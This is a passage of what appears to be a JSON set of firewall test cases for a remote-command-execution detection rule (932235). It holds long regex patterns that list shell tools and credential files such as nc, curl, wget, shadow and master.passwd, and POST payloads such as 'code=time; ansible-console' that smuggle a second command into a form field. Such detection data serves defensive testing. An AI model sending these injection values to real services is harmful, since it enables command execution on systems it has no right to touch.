config|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block installing collections from ansible galaxy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-console\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\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:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block ad-hoc ansible commands using ansible-console" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; ansible-doc plugin ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b